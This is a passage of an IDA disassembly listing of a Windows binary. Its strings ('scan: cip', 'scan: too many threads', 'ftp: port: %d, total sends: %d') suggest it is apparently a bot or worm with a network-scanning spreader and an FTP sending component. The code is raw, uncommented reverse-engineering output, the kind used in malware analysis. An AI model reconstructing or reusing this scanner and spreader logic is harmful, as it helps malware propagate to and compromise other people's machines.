proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422010 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422030 proc near ; CODE XREF: sub_4019FBj mov eax, ecx retn sub_422030 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_401EDDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401523 mov eax, esi pop esi retn 4 sub_422050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422080 proc near ; CODE XREF: sub_40201Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_422080 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220B0 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018F7 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_4220B0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013E8 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D89 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4221AA loc_422168: ; CODE XREF: sub_422150+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019BA mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B90 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422168 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4221AA: ; CODE XREF: sub_422150+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422150 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4221E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020DB sub_4221E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4221F5 mov edi, esi loc_4221F5: ; CODE XREF: ___:004221F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42220A mov edi, esi loc_42220A: ; CODE XREF: ___:00422206j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422230 proc near ; CODE XREF: sub_4021DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018F2 sub_422230 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422250 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422270 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422270 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422290 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422290 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222B0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018FC mov eax, esi pop esi retn 4 sub_4222B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222E0 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4222E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422310 proc near ; CODE XREF: sub_401E5Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A3C add esp, 8 retn 8 sub_422310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422340 proc near ; CODE XREF: sub_401A2Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020D6 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40206D push esi mov ebx, eax call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [ebx] push esi mov [eax], edx call sub_401D07 push esi mov ebx, eax call sub_40206D mov eax, [eax] push eax call sub_401D07 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_40163B push esi mov ecx, edi call sub_401956 sub_422340 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422400 proc near ; CODE XREF: sub_401D07j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422400 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422420 proc near ; CODE XREF: sub_401E0Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_422420 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422450 proc near ; CODE XREF: sub_401550j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422450 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422470 proc near ; CODE XREF: sub_4017F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40203B add esp, 8 retn 8 sub_422470 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224A0 proc near ; CODE XREF: sub_401523j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4224A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4224C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224E0 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4224E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422510 proc near ; CODE XREF: sub_401B90j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019BA mov ecx, eax call sub_4018F7 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E7E push esi mov ecx, edi call sub_4021DA sub_422510 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4225D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4225F0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_4225F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422620 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422620 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422640 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401EF1 add esp, 8 retn 8 sub_422640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422670 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422690 proc near ; CODE XREF: sub_4018F7j mov eax, [ecx] retn sub_422690 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226B0 proc near ; CODE XREF: sub_4019BAj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401839 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4226B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_40163Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A8C pop ecx retn 4 sub_4226E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422700 proc near ; CODE XREF: sub_401E7Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FB9 pop ecx retn 4 sub_422700 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422720 proc near ; CODE XREF: sub_401A3Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42273B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42273B: ; CODE XREF: sub_422720+11j retn sub_422720 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_40203Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422750 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422791 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401681 loc_422791: ; CODE XREF: sub_422750+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422750 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227E0 proc near ; CODE XREF: sub_401EF1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4227E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422821 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014D3 loc_422821: ; CODE XREF: sub_4227E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4227E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422850 proc near ; CODE XREF: sub_401A8Cj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019C9 retn sub_422850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422870 proc near ; CODE XREF: sub_401FB9j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422870 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422890 proc near ; CODE XREF: sub_401681j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014D3 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422890 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_4019C9j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A82 test [esp+4+arg_0], 1 jz short loc_4228D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4228D8: ; CODE XREF: sub_4228C0+Dj mov eax, esi pop esi retn 4 sub_4228C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4228F0 proc near ; CODE XREF: sub_401AF5j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4228F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D7F8B, offset aAsn ; "asn" call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4228F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8D0C0h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422B40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422B40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422C0A push 3 call sub_40148D add esp, 4 test eax, eax jle short loc_422BDD push 3 call sub_401DA2 mov eax, dword_50DB50[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422BDD: ; CODE XREF: sub_422B40+52j lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422C0A: ; CODE XREF: sub_422B40+40j lea ecx, [ebp+8D0C0h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422CB0 mov edi, dword_4D8370 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4232BD mov edx, dword_44964F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 1Ch mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422CB0: ; CODE XREF: sub_422B40+DFj lea ecx, [ebp+8D064h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422D30 push eax push 3 call sub_401DA7 add esp, 8 test eax, eax jle short loc_422D05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D05: ; CODE XREF: sub_422B40+194j lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D30: ; CODE XREF: sub_422B40+185j lea ecx, [ebp+8D036h] call sub_4014DD push eax mov ecx, edi call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_422DDE push 3 call sub_40148D add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_444600 ; " " push 2 push eax call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017EE push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422F56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h loc_422DDE: ; CODE XREF: sub_422B40+20Bj lea ecx, [ebp+8D092h] call sub_4014DD push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422F39 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_445418 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422E69 mov eax, offset dword_445418 loc_422E55: ; CODE XREF: sub_422B40+327j cmp [eax+8], edi jb short loc_422E5F mov [esp+7A0h+var_78D], 1 loc_422E5F: ; CODE XREF: sub_422B40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422E55 loc_422E69: ; CODE XREF: sub_422B40+30Ej mov ebp, off_511C00 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5F76F7 mov eax, dword_445418 add esp, 8 test eax, eax jz short loc_422ECF mov edi, offset dword_445420 loc_422E8F: ; CODE XREF: sub_422B40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5F76F7 lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx nop call near ptr 77C47920h mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422E8F loc_422ECF: ; CODE XREF: sub_422B40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5F76F7 lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx nop call near ptr 77C47920h mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422F29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014DD push eax push 0 call sub_40152D add esp, 10h loc_422F29: ; CODE XREF: sub_422B40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422F39: ; CODE XREF: sub_422B40+1C0j ; sub_422B40+1EBj ... xor al, al loc_422F3B: ; CODE XREF: sub_422B40+98j ; sub_422B40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422F56: ; CODE XREF: sub_422B40+26Ej push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017EE push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_423033 mov [esp+7A0h+var_658], ebp jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423033: ; CODE XREF: sub_422B40+4E8j cmp eax, 3Ch jbe short loc_423043 mov [esp+7A0h+var_658], 3Ch loc_423043: ; CODE XREF: sub_422B40+4F1j ; sub_422B40+4F6j push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_42309C mov [esp+7A0h+var_654], eax loc_42309C: ; CODE XREF: sub_422B40+553j mov eax, dword_445418 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42316C mov ebp, offset dword_445418 jmp short loc_4230C2 ; --------------------------------------------------------------------------- loc_4230BF: ; CODE XREF: sub_422B40+602j or ebx, 0FFFFFFFFh loc_4230C2: ; CODE XREF: sub_422B40+57Dj push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017EE mov edi, eax lea ecx, [ebp-28h] loc_4230EC: ; CODE XREF: sub_422B40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423110 test al, al jz short loc_42310C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423110 add ecx, 2 add edi, 2 test al, al jnz short loc_4230EC loc_42310C: ; CODE XREF: sub_422B40+5B6j xor eax, eax jmp short loc_423114 ; --------------------------------------------------------------------------- loc_423110: ; CODE XREF: sub_422B40+5B2j ; sub_422B40+5C0j sbb eax, eax sbb eax, ebx loc_423114: ; CODE XREF: sub_422B40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42314A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], 